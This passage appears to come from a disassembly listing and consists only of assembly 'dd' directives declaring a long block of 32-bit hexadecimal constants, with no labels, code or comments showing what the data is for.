		dd 8BE6F82Eh, 0F3EE10Eh, 53B5DB69h, 0F6E30B7Bh,	0A469DA0Ch
		dd 4ADD5BA3h, 0E72AE500h, 4F2044FEh, 7B6CD131h,	0D7B9D75Dh
		dd 3464A6BAh, 0DCC98C2Dh, 0EFA57556h, 0CB45983Eh, 0CFC2BD69h
		dd 0AD008ADBh, 0A6792565h, 0DA6802D9h, 3128DD93h, 0D6E2214Bh
		dd 1D249B43h, 11701410h, 0F22C6B10h, 7287D051h,	560D0640h
		dd 4132CC9Ah, 0A0BC653Eh, 4DC643C9h, 0C9980575h, 0CDA53682h
		dd 5D2A43C7h, 1B0F5A82h, 0B5228E19h, 0C70982CEh, 798CE8A5h
		dd 7F5400FAh, 7DEF75EAh, 0C3EB7CC1h, 6E88A47h, 0BD8C6462h
		dd 0F578FF6Fh, 971C7027h, 296CF674h, 7B8C049Bh,	956B46BFh
		dd 8B3A54FDh, 36FDF1D2h, 4B0C67F7h, 3CCCFA60h, 99B84E8Bh
		dd 0FABE6757h, 1845B6FDh, 0A78BCD02h, 16338202h, 0C5BE7C85h
		dd 0CFAC6056h, 0F60F5F21h, 6BE085D0h, 0C12B3E92h, 0FDD046Eh
		dd 0B0E4B7FFh, 53E1C7ABh, 0FD0CC6Eh, 6975F82Bh,	0CC9A6835h
		dd 0FE14C006h, 0CAD7BAACh, 1EEACD7h, 0A149F99Bh, 6F4B64B6h
		dd 6B34B1ADh, 4DC428B7h, 2020F539h, 0E13FF75Eh,	159C29D8h
		dd 8B1420Bh, 677E508Dh,	5786CF05h, 0CE010BAEh, 3C41AF5h
		dd 8CDFCA83h, 0BBF4DDAh, 91EBC19Dh, 9B020F65h, 0E157B034h
		dd 8BE232C7h, 4F96FB11h, 38DCA558h, 0BC52C3C4h,	8822D445h
		dd 6EB10065h, 3D006FECh, 0C8F263C6h, 0D6013F02h, 11A80AABh
		dd 1509C1C1h, 7FBF9F9h,	0DA6A6E47h, 63E4CAB6h, 0C0277103h
		dd 0F20A46EFh, 0E8F9808Eh, 4496D0DCh, 69F33124h, 542C64DEh
		dd 46D8154h, 72641F3Fh,	0FECCFD2Bh, 0DB7DC236h,	0AD69989Bh
		dd 1FE09A41h, 0D28DC9F5h, 61D2BC5h, 3D2035C3h, 0FAE2253Eh
		dd 0A5FC90A8h, 5D66744Bh, 700575D2h, 0FF16773Bh, 0FF1AFA16h
		dd 0AA1E82E3h, 0B3690434h, 2BD2923Eh, 0F6C2902Ah, 3BF7768Bh
		dd 8420F951h, 7CCBA4Ch,	94688791h, 71E89576h, 19D27EE6h
		dd 0A7ABBB87h, 4E460161h, 566E0E59h, 0BE62A3C7h, 92DA39C8h
		dd 76C0941Ah, 0C3A8B8CFh, 3EED05ADh, 5E4D7234h,	0E03D2FBCh
		dd 0D990AA13h, 6241022Eh, 627AC5A1h, 925A5CEh, 62F9F8AEh
		dd 53BA2B67h, 0CD4AC238h, 65C9824Bh, 19ED37Ch, 4CFD4839h
		dd 16C37A79h, 85CC71F4h, 86DB6790h, 0EA32B8B3h,	776A9776h
		dd 0B6DCB5Eh, 559257B1h, 498146E1h, 0FAD9ED72h,	9092FFE6h
		dd 425821D9h, 8F7456B1h, 8137F24Ah, 1E6328Eh, 5437EF3Eh
		dd 0A0F27AEBh, 99ABB970h, 7B8F7E03h, 94AD31A9h,	6DD1A755h
		dd 9761BE46h, 0D67DFCADh, 4EA0B247h, 0A2AB1BEAh, 0E227EA32h
		dd 94159F55h, 58CA1C37h, 751FF55Ch, 45F9DE11h, 0DC30EF88h
		dd 6E87B0CBh, 0B6BDFF83h, 1C0E6A8Ch, 9DCDDB25h,	6482342Ch
		dd 0E1ABAB10h, 0DEFC3489h, 0BED68156h, 978E06EEh, 90EF50C2h
		dd 0C8D1D414h, 62A17E00h, 4CEFDCA5h, 0F03EEC43h, 0E268B0C9h
		dd 0D7778F29h, 82B79DACh, 722E4C9h, 0A8B032DCh,	67F10F10h
		dd 710FBE7Ah, 7D91ECD2h, 0A5832152h, 0C01D256Dh, 0C02A0D08h
		dd 250565ADh, 1539009Ah, 0A131F2EEh, 4DE7297h, 5C13481Dh
		dd 0D00B3248h, 0FDBD6F21h, 0B8E7341Eh, 0A7F831FFh, 562F327Eh
		dd 6B240242h, 0F4046A21h, 0C87FDDB6h, 0FFC5EB52h, 0BA1FE902h
		dd 21B91FBh, 32FE13F9h,	4E819B60h, 87583B5Eh, 2558F4F6h
		dd 0EE664902h, 0B0D144D0h, 31BCF7ABh, 8E16DC55h, 89ABE930h
		dd 6ACF875Fh, 8A14208Dh, 96371F23h, 96BA809Ah, 7A330710h
		dd 7244F633h, 0FE285756h, 8EA7ADC6h, 2B2D27CDh,	0AAF818E6h
		dd 0F0A64F43h, 7517DBB5h, 0C34CAD80h, 0FB95E3D4h, 986007B2h
		dd 8158E565h, 15415ECh,	0BF7E864Ah, 0DE11C476h,	7588C54Fh
		dd 0EA57DEB6h, 5ABB89BDh, 0CDF48CDAh, 5A65F676h, 3319F20h
		dd 2051CB22h, 0CAF2DD15h, 0ED50B767h, 0D379C6Ch, 3F96153Ah
		dd 1BEF930Bh, 0DE7D0BB1h, 6141C5E9h, 0F2F5782Eh, 0A547415Dh
		dd 4D52755h, 0AC865DA5h, 3E14D6DEh, 54EC4523h, 4D781F7Bh
		dd 0D11E49E6h, 90FDAC11h, 6C2A9DEFh, 388EF026h,	0C5711494h
		dd 4965DD67h, 1101ABA1h
		dd 6662E42Eh, 0CD1833EBh, 768FB039h, 741B1284h,	0E8AE94D0h
		dd 0A8A08595h, 6B415033h, 3E1CE70Bh, 36C7CE6Ch,	139812A9h
		dd 0E7835FDCh, 5B0E4213h, 0A735F1BDh, 311120D6h, 24E9C00Ch
		dd 81213DA4h, 9AB35355h, 0D01FCECBh, 56A8E8EEh,	0B9D9CBE3h
		dd 19908A8Dh, 0B4FF609Ch, 0DCAC1F20h, 0BF2EE1FDh, 0B50AF829h
		dd 4031D01Ah, 0DDB7A730h, 0DB8DB429h, 7A4009ADh, 493AF349h
		dd 700A44Ch, 7F62BF11h,	5E620628h, 725E2CEBh, 0E4143A8Bh
		dd 2B258235h, 4AA0D156h, 0C992458Fh, 90C66E4Dh,	65B5EB92h
		dd 5BF0AAA7h, 89BE2279h, 9709E0F5h, 0A43705FFh,	45864FC7h
		dd 0DEEC0982h, 1D649C3Fh, 8C270D22h, 0AD9878A4h, 6D2FAC07h
		dd 600BED78h, 8E3E60FEh, 6D795A63h, 7C7E40C4h, 80AA9849h
		dd 0D237221Ah, 0AB6A465Ah, 39EA4DDCh, 5E2FE6FEh, 55472792h
		dd 0C5669E8Eh, 0F2372529h, 0B171E0Ch, 0C5E4DCC2h, 41C4BCFBh
		dd 7D03E197h, 15578EAEh, 0DB51291Fh, 6F5B3D77h,	0C40BC76Ah
		dd 5233D9F7h, 0DBC1070Ah, 469E2B46h, 164AC843h,	0AD1582DDh
		dd 0C25936FFh, 0E134E85Ah, 15422701h, 73DE1172h, 7A344123h
		dd 0C5CF51A2h, 3481D800h, 18FEC12Ah, 0ED4C23EFh, 2F76A797h
		dd 67574080h, 542C970Eh, 0F0F3D577h, 97EBC21Fh,	0E2D05367h
		dd 0F62F027Eh, 4F6BBA28h, 56B3F3F6h, 0A454D06Dh, 45C7C5EFh
		dd 0F2ECB12Fh, 14985722h, 2CB8CF05h, 591AFA60h,	269A2500h
		dd 0FE747367h, 2B17B178h, 3231CC77h, 41C3A63Bh,	0AF2E6166h
		dd 89BF02Ah, 973F2C63h,	2701575Dh, 0BC286E90h, 90EA8D06h
		dd 9A172A8Dh, 7310EC6Eh, 0B0DCA1B5h, 0E5437A9Eh, 8963F38Ah
		dd 9D4CC7Ch, 0E3D99186h, 0A83F3542h, 8A4287FBh,	57FC03EFh
		dd 347980C4h, 3A228AABh, 59E4EC91h, 21799F27h, 0CDD79C11h
		dd 0A574941Ah, 8C415787h, 0CAE16AC5h, 0C585D5C4h, 84CBB405h
		dd 0CABCEDF2h, 0EDAEB364h, 5B0D7933h, 72967CD7h, 0B8BF8767h
		dd 0BDD65589h, 0AAEDF020h, 0F974E58Fh, 0D2E7B2FCh, 685E9A5Ch
		dd 0B2616836h, 0C50D9E2Ah, 0C09BEEF1h, 9D5EC9Fh, 0E7038814h
		dd 89838D0Ch, 82F417B3h, 7E224D73h, 33B5D12Fh, 99D0B523h
		dd 0D506F85Bh, 0A97947F5h, 61480520h, 78CC41D3h, 0F12B6CDEh
		dd 0E0C9A6EEh, 34BDD081h, 0CC10AE4Dh, 0DD7F2791h, 9B8F2182h
		dd 0B47A65B2h, 9FB1B824h, 13062126h, 0D3FA0B3Dh, 0ABC1C7A2h
		dd 0D62606C7h, 0E358268Eh, 393B9416h, 0DBA35ECAh, 35F1D5A0h
		dd 0E7AF31F5h, 78028320h, 4293E64Fh, 0AB761FA9h, 0CFC75EEDh
		dd 93020B1Fh, 0E2E2F6Fh, 0C5F73CEAh, 1E9121C3h,	0A6045C2Fh
		dd 0FFE8F856h, 70F22296h, 0B9E7D2F5h, 0C89488C4h, 65C95BABh
		dd 0C25EDC67h, 1E4C7E88h, 0F844A05Fh, 808BC9ECh, 39704284h
		dd 26E7BD21h, 0C66E88A6h, 4169E760h, 77938905h,	46D2AF8Fh
		dd 31680DA2h, 0F1DB2F7Eh, 53E04328h, 0EBED7DE6h, 1B5CD0FAh
		dd 0E055BEB3h, 0C3551698h, 915C8964h, 72A5959Ch, 607F83Dh
		dd 0BD7D1620h, 73C8EF7Ch, 336AEC39h, 0C6A4FEB9h, 51F13F35h
		dd 0A9D0865Dh, 792F809Eh, 3096CE21h, 0AB566F0Ah, 0C953DDBEh
		dd 48D5F076h, 0DB16DE38h, 5F57EB31h, 0CEB4EF9Ah, 0E8DE0A2Dh
		dd 26ABACABh, 3EAD561Bh, 0D648EE51h, 93AD0C00h,	0C846932Bh
		dd 0E8723A7Ah, 0E47E19Fh, 8E761E8Ch, 956D05EBh,	39141746h
		dd 8A722DCCh, 0C7276C15h, 97A4AA45h, 6254E22Bh,	2A6A41C8h
		dd 52A6427Bh, 0E1E4F2FDh, 65DB6ACFh, 0B0B814E8h, 2EBD36C6h
		dd 0F57D45Eh, 0C1EA585Dh, 41BD44CFh, 0EF108B52h, 2CA02C81h
		dd 34606F20h, 0B41DEE77h, 9F9E0DC2h, 6507C1FEh,	0B98045F5h
		dd 0EB17F82Dh, 0A0DA22CDh, 0F4CABB1Bh, 3CEB2B7Fh, 4C8E7FACh
		dd 0F0253E2h, 0B4B6F609h, 3E0FCEB5h, 69C7E30Ah,	0C78AD779h
		dd 54E92FCAh, 7D96FBA0h, 3860846Dh, 0F2B382B3h,	928E2049h
		dd 0FDDFA394h, 8A5EF229h, 0A83AE3F9h, 44257760h, 0CEC6883h
		dd 0AF8A6BE2h, 0E5A136E0h, 90BB4646h, 0A54B8B13h, 8CE28D7Ah
		dd 2F6611AFh, 8397B795h, 2B11ED06h, 1287F054h, 271A6871h
		dd 667B4DB4h, 1D5721h, 92A4F020h, 0F41EC86Ch, 0D70954CFh
		dd 17AD780Bh, 6B479D0Fh, 2D01DC01h, 0E1EE65E7h,	62DAD908h
		dd 0EA609692h, 3F5418E2h, 4B5BD28Ah, 1B2AEB17h,	991975D2h
		dd 95968B72h, 6EC9FD28h, 8D132CCBh, 0F68CF1D1h,	0E314C110h
		dd 5EF99A58h, 515DC169h, 83C8639h, 8FD3ED6Dh, 2827E510h
		dd 948A7F4Eh, 5C850362h, 0DA9EC1ABh, 26CAC5E3h,	97B79623h
		dd 96ED1144h, 7BFBF341h, 40414881h, 0CB5C0A4Ch,	47F633Eh
		dd 0C4B60CE7h, 2DE866B4h, 0C9BE1595h, 50D578Bh,	0C9BC4BD1h
		dd 0A46CE18Dh, 0C04B8A47h, 6143DA37h, 0B4DFBD3Ch, 9D608526h
		dd 0BF9FF803h, 630C6CC5h, 345F948Dh, 41090A42h,	91DBEA7Ch
		dd 0FEAF8994h, 69D40371h, 4A8E680Ch, 6E5294E6h,	0CFFC25D5h
		dd 4C118E7h, 0A0B08D85h, 7B73BB9Ch, 4412DF32h, 0C06FE51Dh
		dd 2B47B8FAh, 0CB061898h, 620AB824h, 0AA0CF5Ah,	1F1998E9h
		dd 39EC747h, 0E2DB1FE6h, 0CC154481h, 39E5CF04h,	0F1094444h
		dd 3F3CACA0h, 4B08401Bh, 0F99AC9C1h, 6DE03864h,	4E291BA9h
		dd 684D91F2h, 1582C968h, 32F2CC97h, 0C1143B23h,	0F952C83Ch
		dd 209B7D55h, 0EF784820h, 722986DFh, 0F5DB7699h, 4D83A283h
		dd 61178F62h, 59C2E027h, 0FE05FA3Ch, 0B545B339h, 0D3500F47h
		dd 0B8D15CBDh, 0F0BAF657h, 4B8DD391h, 0F426B5E4h, 892B1C11h
		dd 0D860C644h, 0C3739055h, 38DBD0A6h, 251928DFh, 0CF1D3AF5h
		dd 0A88A1994h, 0A56AA40Eh, 0C23681AEh, 7B9ED297h, 8CB1C746h
		dd 8643F000h, 66C799E3h, 16CAD45Eh, 0AF49955Bh,	3A55693Fh
		dd 98AFCC80h, 77A1CF92h, 0B6D71036h, 1F59CEF0h,	0A7991D78h
		dd 0B5277BC6h, 134FA5A6h, 1E9325FEh, 0AF1C9279h, 0C80B0E55h
		dd 250DF835h, 7080AD4Eh, 0B21CD734h, 3BC14481h,	2268E0D8h
		dd 0E450BD51h, 2F08A432h, 3CAB7B2Dh, 0E282C06Ah, 0C3AC203h
		dd 0C81886Ah, 871CFAE9h, 0CA7AB36Fh, 35D8BF37h,	0BAF3388Ch
		dd 0BBC315D8h, 99F81BC3h, 86642ACEh, 795BB710h,	8654E61Dh
		dd 57B0DFC3h, 7275481Ch, 8217428Fh, 5CFBAACBh, 8F826272h
		dd 6BBD0C52h, 86B808A4h, 0F5E7816Dh, 46AF27CFh,	0DC636805h
		dd 53BC6350h, 87BB4D72h, 0A8CB9CDFh, 785A8D37h,	0D00216FDh
		dd 781DD15Bh, 5DF6822Eh, 0C5A87992h, 0BE217311h, 0D5EE9402h
		dd 0ECB2F550h, 12DCB893h, 4D294506h, 0A1641719h, 5B4ECF2Fh
		dd 0FC783572h, 93B2183Fh, 82A14C48h, 4F1D8DC1h,	1AE48FC1h
		dd 330E43FDh, 58CA32EEh, 74A85FD0h, 0E2ED01B3h,	87C9851Bh
		dd 95308C3Eh, 23DF9EAEh, 0EB09531Fh, 0E619C7A2h, 0C32E292Ch
		dd 1F11F868h, 35076A0Ch, 2AAEEAFCh, 6961A39Eh, 0F41906E7h
		dd 717A423Bh, 1E90C195h, 0BEDE6E97h, 7C749F98h,	80686CE7h
		dd 59C025D5h, 9942A7EDh, 0F0A9A2FBh, 0A417F388h, 6B4FA2F4h
		dd 26441345h, 0A3EB12D3h, 0DE002357h, 2C1FDC89h, 346D4D34h
		dd 0E89E03CBh, 879481D0h, 0C462B7D2h, 71B79869h, 6F435F6h
		dd 5DEDA81Ch, 5A6F9FC2h, 4674EADAh, 0A39AA33Ch,	0D288EC79h
		dd 0C9EAC64Ah, 133897E9h, 0D43A738Dh, 738739E2h, 0A7A28546h
		dd 0BB68B1EAh, 0EBD7EEBh, 6BA3AAE1h, 0B6906D32h, 0DDAD337Bh
		dd 3B989B41h, 78C7557Fh, 55EFFFE4h, 0F1766449h,	0D0B4380Ch
		dd 2745B6B4h, 0BC64750Ah, 5AAB8962h, 1DEB038h, 226663D1h
		dd 9155CA2Fh, 5E8A3BA7h
		dd 400C068Ah, 0CFB2868Dh, 0DAB8C4BCh, 600E5743h, 71A158Ah
		dd 0F1C468D2h, 8D1E537Eh, 2E8D328Fh, 0CE9BA57Ch, 0F68D708Ch
		dd 79960629h, 0BFC0DE51h, 206FA31h, 3242115Bh, 0C22EAA9Fh
		dd 0E5290285h, 71322CFCh, 21E646C1h, 8CD1FA45h,	9EEAE7B4h
		dd 1DE8E935h, 3F52FB70h, 9EF69901h, 3B46CA23h, 9BEB77FBh
		dd 0D55C8F9Ah, 0D957EAB4h, 0F15164Ah, 4D832854h, 989B8A56h
		dd 1C89AD7h, 0B8456B8Eh, 0EADD3854h, 0A575684Ch, 40C642EBh
		dd 4E638AC0h, 0B044AB5Fh, 40D5B90Ah, 0EBD74F50h, 3EF57086h
		dd 9D2000CEh, 0DFF146D3h, 4A0F478Ah, 1FD5BCD7h,	0DD410F01h
		dd 7140DE1Bh, 0C2E5C2D8h, 9686BD2Ah, 0AAF7942Ah, 72F1F3C3h
		dd 0AD5DF7A7h, 5B0ED4ACh, 0E4E8BC2h, 0D483F58h,	638A8501h
		dd 0B171E399h, 0DC9BE4C3h, 171BAB69h, 576B4F14h, 65AB7049h
		dd 5D289653h, 1C355380h, 2F409C42h, 7CCF330h, 6464B58h
		dd 40520000h, 0C6F2CB9Ah, 5F952737h, 0B53728F3h, 0B29BA1EEh
		dd 0BDE1A880h, 0AAFA2D59h, 0FD994653h, 535A7477h, 5D053FC4h
		dd 4AAC7730h, 93F48989h, 0CA4C807Eh, 66B7916Fh,	9B7F30B5h
		dd 8853D409h, 1F35A200h, 0C8F375B2h, 0E52DCAACh, 7D673571h
		dd 6743F76Fh, 0FD4CEF2Eh, 0DA4211B1h, 1F276FBAh, 0F845E755h
		dd 8056DBEEh, 0D7C0FF4Eh, 0ECB41022h, 6A2A16FBh, 0D37FC6F0h
		dd 87BC205h, 4A104FCAh,	920A4BE3h, 37EA9E18h, 3223EEA0h
		dd 30D7952Dh, 0F3B816B4h, 0BDDD78C4h, 0ACBAA306h, 90471983h
		dd 25355477h, 0E2EA3678h, 221E7C78h, 369056B0h,	8DDCA414h
		dd 0D126BB87h, 615817DBh, 869220EFh, 0C9E00667h, 7F1FDC8Ah
		dd 0BC529D42h, 25820358h, 301C7051h, 977CDD10h,	1BB6EBBEh
		dd 75CBC808h, 43D805C9h, 0C0D9FCFAh, 0CCF510C5h, 1C66EBD0h
		dd 0BF24CB4Eh, 96EA2470h, 0B075056Dh, 96899F77h, 5771E815h
		dd 0F5674963h, 0D58AB2E3h, 35E5B4FFh, 7E1D2D42h, 79EC4CE7h
		dd 4B934C1Bh, 0CE5826F1h, 1AC12EA5h, 1E3F1B76h,	6A33E1C7h
		dd 94ECEF65h, 0B8DF481Fh, 0A12B0C61h, 8A5186CFh, 0BB67F72Ch
		dd 8B535F9Ch, 0F128C036h, 3169D0DCh, 0D736D836h, 7700823h
		dd 21C3C625h, 48E61C7h,	791711F0h, 0A1A44D8Dh, 0E904DDE3h
		dd 3ED8C6D2h, 9CC7E18Ch, 0FEC0ABA4h, 7F229DEh, 993400ADh
		dd 0CA5291A2h, 48985C39h, 1BBE4470h, 29C74DB9h,	72BCEF48h
		dd 0E71D6CDBh, 48FD6F3Ch, 613F3ECFh, 25A76692h,	9E3BCCECh
		dd 971DA382h, 0BDC0A698h, 0A8DDA91Ah, 5103C359h, 0BC19867Ch
		dd 91989949h, 224893EEh, 5B7AB00Dh, 2A8402CDh, 2CDDB1B4h
		dd 0FEA4A173h, 0E6CECB94h, 0EDFE90D2h, 0E69B550Eh, 86C44E44h
		dd 0C9B34E92h, 22E20149h, 0CA9A1212h, 1AAA37BAh, 9E72CDAFh
		dd 3246FF41h, 0F41F4F0h, 1AE5BC55h, 8E3352DDh, 5F5DB16Dh
		dd 0AA64A20Eh, 0C983A7B0h, 55CCC19Ch, 61708B98h, 0FE36C975h
		dd 1D9D0EC9h, 8329BA4Ah, 465A18E0h, 0A5BC9A94h,	556797EEh
		dd 52AE3256h, 67B4E56Fh, 6C1C8D2Bh, 64F548E4h, 85BDEDDDh
		dd 3915AB73h, 9129D5B6h, 98397ED9h, 44A67492h, 56A1260Dh
		dd 0A4019C95h, 1F2DC63Bh, 0F3775D78h, 661EA048h, 0E21EB902h
		dd 0DA3BF3C5h, 4DD0E197h, 0F1DDA32Dh, 0E20D2523h, 47C07D3Fh
		dd 6D68EF78h, 2DAB1514h, 5C7851FDh, 0CECF1E33h,	6DC1D91Ah
		dd 41404D27h, 0E8AF9E5Dh, 320BCC24h, 0E377119Fh, 6F5DE58Ch
		dd 9A0BBA70h, 0F913FDBFh, 3B40EF9Dh, 61C91FCFh,	0E3DE3778h
		dd 0DCFF59FEh, 9AD98D1Dh, 22E68E45h, 7B08DC05h,	0F217F0A3h
		dd 7ED072DDh, 0FC330873h, 92B6A15Ch, 97D5BDFFh,	0DE05660Ch
		dd 7974190Fh, 0B3704438h, 0A26ABFEDh, 1960E567h, 0EFC5C499h
		dd 0AFB14B31h, 0E3EC1F5Ch, 0A85F2B0Dh, 56758BCBh, 5ECC40C7h
		dd 230D2E9Ch, 4F9AB2ACh, 1FBEBB4Ah, 65C76829h, 9B7214CBh
		dd 0CB6C8048h, 20B3966Bh, 9796F3F9h, 6CB96B2Fh,	3A8B4D9Ch
		dd 0DB44ED91h, 0F68EA293h, 9F622110h, 64FB31F3h, 204400A3h
		dd 0B8EB495Ah, 3648479Dh, 0D9405C28h, 172E674Ch, 8F3D15FAh
		dd 59081AC5h, 94538050h, 0B6330B07h, 2AF02B72h,	0FD6E9C5Ch
		dd 313E8F5Ah, 46FF82h, 0C787E368h, 0B0463F7Bh, 26F23FFBh
		dd 0C76CC347h, 2E7E75BEh, 1F83CDB5h, 0DE96927Ah, 0CC4CC392h
		dd 8E05908Fh, 0BAFF54CAh, 62314A68h, 78F4A4DBh,	46E3A0AAh
		dd 0E9564A76h, 8D341A49h, 731B95DCh, 768E2AEBh,	5211C383h
		dd 7420C7E4h, 0A3847024h, 0D10534E7h, 0B908205Dh, 0FEBA591h
		dd 0AA036513h, 0A05194ECh, 39969F2Bh, 4730C0E9h, 0CB34BD4Ch
		dd 60F11F1h, 3CEFEC2Bh,	4DA9FA45h, 660BA7ADh, 0F6AC485Fh
		dd 0F8C41407h, 0A74F0EF3h, 4E21009Fh, 0C3D0A5D3h, 0DDFE026Ch
		dd 50C6D114h, 0A33F5564h, 0A9C65C8Fh, 0B20F6DF2h, 0FAE2DFEAh
		dd 8DBD479Ah, 9C5F8D46h, 0F311C540h, 0EAF17A23h, 0C5360899h
		dd 9BC73D5Dh, 0C3946EE1h, 0CCF75529h, 94933447h, 0CDD19677h
		dd 86BD44E8h, 0EA27EB47h, 2C7C19ABh, 482D4819h,	7B1F53D5h
		dd 0AFBF1F31h, 0D8539DD4h, 0B57F3B68h, 0AEDF1D6Dh, 3318A504h
		dd 39F55862h, 0BD60DD9h, 7A47A370h, 0A2821EA1h,	0F9EAF286h
		dd 0E9FC1DD6h, 2B8BB74Fh, 0FE825CA5h, 35501D39h, 10054D87h
		dd 0F57EF673h, 1E83CB62h, 0D699D422h, 0B04B26D9h, 8B287340h
		dd 353C2804h, 5FA02470h, 0DD1D920Ah, 0F01914B1h, 0C2C8C38Bh
		dd 7996CAD4h, 0B7429BFBh, 74A83342h, 3EEAD1B9h,	409FB2D7h
		dd 0ABBE5A4Dh, 0C981E2E5h, 0FAC2D974h, 49792ECBh, 0D2BB122Eh
		dd 0E86DF856h, 77E25E23h, 4DF3E79h, 5F3A33A2h, 4B1803BEh
		dd 77909561h, 0F1ABA91h, 44165CABh, 0C3872BFEh,	8D67569h
		dd 0E3380B68h, 0F05C94FAh, 0F621EB74h, 18995ABEh, 90EFFE0Bh
		dd 80AD4153h, 292B8D26h, 4C2FA56Ah, 57F6F032h, 31EE3CB2h
		dd 0C1737276h, 452CF28Ch, 0B811A074h, 0C76B1CE9h, 0E4CC36D8h
		dd 0E34F2F31h, 0DA0D10A9h, 0AD10A282h, 3A72ABE5h, 0AF27A180h
		dd 7CDB3597h, 0BF977A92h, 7A3690F9h, 0D7F836A7h, 0D8F3FC52h
		dd 8D00A07Eh, 91D838B6h, 0E9BE05BCh, 3D97B442h,	0AAA09A7Fh
		dd 0BE45582h, 0E7FFBA72h, 0C80B513Bh, 6C4C0B40h, 3FC11EDFh
		dd 0F8918A64h, 91DAC3E0h, 4627C3C5h, 0E2B5978Fh, 0EAB5FCE2h
		dd 0D5B23054h, 8346BF17h, 70C986Fh, 0F98C977Fh,	0E1228017h
		dd 65E96C98h, 0B6471B52h, 93E0FA9Dh, 33E8020h, 47B02248h
		dd 0F1FA78B2h, 5851C16Bh, 0BF513FE4h, 0F54C42D4h, 4CE05752h
		dd 0A3EAFB56h, 8E3F9308h, 7BC9FF83h, 0C148E367h, 5A901AC8h
		dd 9C7AE980h, 8AA44D67h, 4C5ACDDh, 2680DAA1h, 0B7252F65h
		dd 0D9602B5Eh, 0D27E39Ch, 0A4E1AB96h, 0EE5ACF88h, 0F7986BEh
		dd 0EF63D05Dh, 8BE56C87h, 6F110BD7h, 0DF7C88Eh,	1C977FCEh
		dd 5C1C902Fh, 735A346h,	53075C2Dh, 1F53A91Bh, 75A7E2F1h
		dd 842162E6h, 38123F43h, 0B8BC3B9Ah, 49EB34DDh,	1D87EDD4h
		dd 2431B71Dh, 0CBDF264Eh, 1C83B2DCh, 0E037261Dh, 7215D7ABh
		dd 7ADE959Bh, 68379E00h, 4242D8D1h, 4D751A6Dh, 7E5ED721h
		dd 1FA6A246h, 0A962FC40h, 6E99A9DFh, 0C9743563h, 3D421928h
		dd 3F2C25CAh, 0DFAB83B8h, 5C16A096h, 0C4C592EDh, 3A9D9ADCh
		dd 124A6686h, 0BF31574Ah, 187E4E52h, 8FE054F2h,	0A301BF78h
		dd 0BD99D3D4h, 0BCB4AFBCh, 63F2AF73h, 0A8F8679Fh, 0F28EA935h
		dd 0AF21D832h, 483BCF0Ch, 60B48928h, 1AB305AEh,	8D96A479h
		dd 0D5E8D826h, 621F2F75h
		dd 0E119CB93h, 3DE284EEh, 0CD77357Bh, 5782C8F4h, 73D42592h
		dd 0C28866C7h, 8D672C42h, 95A11B08h, 49396966h,	37EA7E90h
		dd 0CCD186C0h, 74E7DDB2h, 0A90B4947h, 9486291Ah, 955AA09Dh
		dd 79757B1Fh, 4B0DC7A3h, 3386090Bh, 2E2D6530h, 8043E446h
		dd 2FBA17DAh, 0A4777A32h, 252823BAh, 27112E09h,	0DC8C3D8Ah
		dd 45AC2B51h, 0BC5161C9h, 0F9F55F9Dh, 0EA91AECBh, 0DBBDAFFCh
		dd 6DA02B2Ah, 9175F10Eh, 92490240h, 0A89C6CF3h,	0E674C26h
		dd 6DB64B7Ch, 3E5DE137h, 3F1F3D6Bh, 7E6C4DDDh, 2334D50Dh
		dd 0BD1AE966h, 0EBBA2808h, 79974245h, 0C67688D4h, 0D6139407h
		dd 0B7EC11D8h, 493B8E18h, 0D63D0D5Ch, 0D9729FC7h, 0FE3E2D3Eh
		dd 0F9FDF60Ah, 0D2C90DB1h, 0C2E9C314h, 3BE06655h, 6C7FF0C5h
		dd 9296B3Ah, 2E0429E2h,	0A8E29B6Ch, 0D1B75DF3h,	91C3B0A5h
		dd 0CA227604h, 7F21994Ah, 42A97E6Bh, 1AF28F01h,	32692984h
		dd 2611E785h, 0A65AF873h, 0D90E581Bh, 53B2D0A1h, 68EB17EEh
		dd 244ED006h, 0D4EF8CFDh, 527F8624h, 0CAEFECF3h, 8FC514FAh
		dd 9D8BBF81h, 0A42A82CAh, 0CBDADC97h, 0B291CB7Fh, 0EA40D7C2h
		dd 0AC32A097h, 8D259296h, 0A8EB9049h, 1ACA63E0h, 0E8BD9A49h
		dd 64EAF6B5h, 0FDAF4DABh, 0CCFD87D4h, 786CD1D1h, 5255752Dh
		dd 535392A5h, 5B59AAB8h, 0F338AAA3h, 353C6E5Ah,	0F0DC9713h
		dd 53EC8D9Bh, 0D119393h, 28FF58F5h, 0F7766281h,	0E823561Eh
		dd 477D3BACh, 0D5E4D5B5h, 69EF6430h, 0AA36D241h, 49895D89h
		dd 0E6F2A4C8h, 1C000489h, 0CBCE3CAh, 78DE1E02h,	1DB264F1h
		dd 4D3418FFh, 90D89595h, 3927C9E0h, 2B7D0294h, 0C4F20F14h
		dd 56CC9436h, 189AD476h, 0A97D7CEBh, 0B0A8E36Ah, 0CD1FEE34h
		dd 0DA296FC3h, 0E89D4E33h, 12924A25h, 92952226h, 0F689A7C8h
		dd 3CBA6C74h, 260E16BAh, 9C2D43B8h, 363BA3B7h, 650D28ECh
		dd 0A2DB8ED2h, 569FC9DCh, 760BE262h, 5638D0C1h,	0FDD64B79h
		dd 576DB6F5h, 0E21C4EDCh, 7AA2BCEEh, 8ABEDD18h,	0B42B9301h
		dd 79DE3735h, 87A17DAFh, 7B05191Ch, 0E69C95C1h,	4C204D65h
		dd 59338532h, 0FEDFDBD1h, 0B1ABC339h, 9B492FC4h, 613310D9h
		dd 0D11538C3h, 8023ACB1h, 0A37A7886h, 0F12EBF3Eh, 34344369h
		dd 0A8EC9754h, 80AE7FB1h, 0B74555A8h, 65E98300h, 0C619DABEh
		dd 4AA8915Ah, 27CE497Eh, 0B8CE0C14h, 9BC51D0Dh,	0FE6979ACh
		dd 1C4AA2F9h, 745044F9h, 0B0C37B9Eh, 0F5B5516Bh, 0B66EA0BBh
		dd 0B31C3716h, 2EBFA6A5h, 0E57AE4FBh, 0D900FF5Dh, 50E2D313h
		dd 38DC399Eh, 0B757D481h, 834A49C1h, 6E278E30h,	0D0CE0050h
		dd 5E6E843Dh, 0B3E57F31h, 0E06E3437h, 48FEE69Dh, 0C616F93Eh
		dd 0F8149332h, 0AF2D9C4Eh, 4092DB81h, 0CF99BB59h, 0FE8F2EF3h
		dd 0E71E1F50h, 0E6AE9665h, 14BAABA1h, 0FDD4F6B2h, 0D4B10035h
		dd 4ECB381Ch, 0ACEBC3h,	0B4B543B2h, 7E2DA587h, 4C7162C5h
		dd 6BEE2E86h, 0C912184h, 6A2BCF9Dh, 2D3067B7h, 5777FBA6h
		dd 0D85F3A62h, 4C4E56F8h, 0E7F77A9h, 42B3D49Dh,	787433C5h
